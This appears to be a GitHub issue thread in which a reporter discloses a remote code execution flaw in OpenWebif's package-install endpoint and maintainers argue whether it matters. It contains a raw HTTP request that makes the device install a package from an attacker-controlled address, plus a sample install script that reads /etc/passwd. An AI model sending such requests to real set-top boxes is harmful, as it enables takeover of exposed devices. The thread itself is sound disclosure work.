Remote code execution via IpkgController improper input validation.

[borjmz]

It was discovered that the IpkgController class, specifically CallOPKG defined in plugin/controllers/ipkg.py does not restrict or incorrectly restricts the input package name before its included as param of '/usr/bin/opkg' package manager binary. A remote attacker could possibly use this flaw to pass a URL as package name parameter by a HTTP request to an attacker-controlled repository since there is no signature verification.

[Schimmelreiter]

That's pretty much irrelevant, as you can as well directly upload an IPK to install.

In other words: Once an attacker has access to the OWIF, you are lost in either way.

[borjmz]

Could you explain how a user uploads and installs?

[Schimmelreiter]

See Extras -> Settings -> Packages

[borjmz]

I do not understand why you say that this issue is irrelevant once you have accessed OWIF, if at #620 if it is considered a RCE vulnerability. Both are RCE, if authentication is enabled still beign trough a LAN because auth design.

For example, I have the following package (http://IP/ipkg?command=install&package=http://ipattack/package.ipk), where I have created a postinst script (The package is formed from a script in bash that we can make it run anything that bash allows us) inside it, in which a malicious user executes the commands that he wants. The user can install it with this GET request, the package is installed without checking that it is a URL and not a package name, because opkg does not do signature checking. Both are a security bug if you assume that at least this has happened to the 1.0.2 (Fix in commit 0d60eeb ) and used in latest build in OPENPLUS 1.1, where you could not upload the package just install remotely.

In the current version is a functionality but is still an RCE since we are not using the uploader. People still use old versions

This is a request:
GET /ipkg?command=install&package=http://192.168.1.138/package.ipk HTTP/1.1
Host: 192.168.1.189
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

For example postinst package:
#!/bin/bash
who; id; cat /etc/passwd; netstat;

I was aware of #620 vulnerability and pending to report it to you, it was easy to identify it and you could also detect it by doing static code analysis with bandit (https://github.com/openstack/bandit). I'll open a issue with more flaws detected in bandit output in case it helps. Thanks you.

Bandit Output:

Issue: [B307:blacklist] Use of possibly insecure function - consider using safer ast.literal_eval. Severity: Medium Confidence: High
Location: e2openplugin-OpenWebif/plugin/controllers/models/config.py:150
149 try:
150 cnf = eval(path)
151 if cnf.class.name == "ConfigBoolean" or cnf.class.name == "ConfigEnableDisable" or cnf.class.name == "ConfigYesNo":

[jbleyel]

If you have access to openwebif, you have access to the box.
You can also download bad ipk files directly via OSD.
If you want increase the security you need some many other things todo.

You can open you box to access from outside except vpn.
But then you have some other problems.

If you don't open your box, you don't need to think about openwebif access.

We can increase the security but it makes no sense in my mind.

[ghost]

This does not answer the issue before in my opinion. Users left thousand of OWIF open to the world. As mentioned above, the issue was related to an specific < latest version, due you added install ipkg as option via OWIF control panel, also allowing users to upload custom pkgs. That's ok, but not in the older X versions, where it was a simple ipkg/api implementation to list, update, install (from base repository) packages. Let's be clear, the issue was there and it makes more insecure users using an older release. Just check Shodan, there are like 6.000 OWIF running that version (that is latest on some vendors with their update system). So I believe @borjmz tried to just report this issue to you as developer (upstream) and some vendors that use your software to be aware of that. It's because a CVE should be allocated to identify that vulnerability. Of course there are worse things, or better things to do.. However, CVE's are just an ID not an impact, not a "oh your software is sh*t", it's to notify other users, vendors, people that forked OWIF and maybe you are not aware right now, to show them they should consider that there are something to check.